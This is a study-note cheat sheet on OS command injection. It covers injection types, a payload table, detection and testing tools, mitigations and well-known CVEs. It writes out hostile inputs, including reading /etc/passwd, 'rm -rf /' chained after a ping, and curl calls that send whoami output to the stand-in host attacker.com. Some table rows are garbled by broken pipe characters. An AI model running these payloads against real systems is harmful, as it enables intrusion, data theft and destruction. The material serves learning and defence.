# Command Injection

A critical vulnerability that occurs when an attacker is able to **inject and execute arbitrary system-level commands** (e.g., Bash, PowerShell) on the server through a vulnerable applicationInjecting OS commands into vulnerable input fields.

# Example

ping=127.0.0.1; cat /etc/passwd  
POST /ping?ip=127.0.0.1; cat /etc/passwd  
Then ; cat /etc/passwd is executed after ping, revealing sensitive system data.

# Impact

| Type | Description |
| --- | --- |
| Remote Code Execution (RCE) | Attacker runs arbitrary system commands |
| Privilege Escalation | If app runs as root/admin |
| Data Theft | Exfiltration of sensitive files |
| Persistence | Install backdoors, cron jobs, malware |
| System Compromise | Destroy system, add users, change permissions |

# Types of Command Injection

**1. Simple Command Injection**

* **Definition**: Injecting commands using separators like ;, &&, |, ||.
* **Example**: ip=127.0.0.1; ls
* **Mitigation**: Validate and sanitize input, use safe APIs (see below).

**2. Blind Command Injection**

* **Definition**: No visible response, but command still runs.
* **Example**: ip=127.0.0.1; ping -c 5 attacker.com
* **Mitigation**: Use time-based or out-of-band detection (e.g., ping, DNS logs).

**3. Out-of-Band Injection (OOB)**

* **Definition**: Attacker uses DNS, HTTP, ICMP callbacks to observe result.
* **Example**: ip=127.0.0.1; curl [http://attacker.com/`whoami`](http://attacker.com/%60whoami%60)
* **Mitigation**: Block external outbound access, alert on anomalous DNS.

**4.Chained Commands**

* **Definition**: Using && or || to run multiple commands conditionally.
* **Example**: ip=127.0.0.1 && rm -rf /

# Detection Techniques

| Technique | Tool | Description |
| --- | --- | --- |
| Manual Tampering | Burp Suite, Postman | Inject ; ls, ` |
| Time Delay | Add sleep 10 and measure response delay |  |
| Out-of-band | DNS-based (e.g., ping attacker.com) |  |
| Source Review | Look for exec(), system(), popen() in source code |  |
| Fuzzing | wfuzz, ffuf | Input injection payloads in all parameters |

# Command Injection Payloads

| Payload | Result |
| --- | --- |
| ; whoami | Returns system user |
| ` | id` |
| && cat /etc/passwd | Shows Linux users |
| ` | powershell "Get-ChildItem"` |
| ; curl attacker.com/\whoami`` | Out-of-band callback |

# Mitigation:

| Control Type | Strategy |
| --- | --- |
| Use Safe APIs | Use execFile(), spawn() (Node), subprocess.run() (Python) with argument lists |
| Input Validation | Allowlist known good inputs (e.g., IP regex) |
| Avoid Shell Calls | Don’t pass user input to system shell |
| Least Privilege | Web app should run as limited user, not root/admin |
| WAF Rules | Detect common payloads (e.g., ;, ` |
| Escape Input (Last Resort) | If shell use is unavoidable, escape special characters |

Avoid direct command execution with user input. Use parameterized APIs.

# Testing Tools

| Tool | Use |
| --- | --- |
| Burp Suite | Manual fuzzing |
| Commix | Automated command injection scanner |
| WFuzz / FFUF | Wordlist-based injection |
| DNSlog.cn / interact.sh | OOB DNS callback |
| OWASP ZAP | Passive command injection detection (limited) |

# Points

“Command Injection is often exploitable even in internal apps, especially when admins trust user input (e.g., diagnostic tools).”

“Use safe command invocation APIs and to avoid string-based system calls entirely.”

“Detection often involves timing, blind, or OOB techniques, especially if no visible output is returned.”

# Famous CVEs / Breaches

| Vulnerability | Impact |
| --- | --- |
| CVE-2014-6271 (Shellshock) | Bash command injection in HTTP headers |
| GitLab RCE (2021) | Command injection in CI/CD variables |
| Equifax Breach (2017) | Started with Apache Struts RCE via command injection |

# Proof-of-Concept (PoC) for Burp:

?target=127.0.0.1  
?target=127.0.0.1; whoami  
Observe if output changes, if delayed → possible blind injection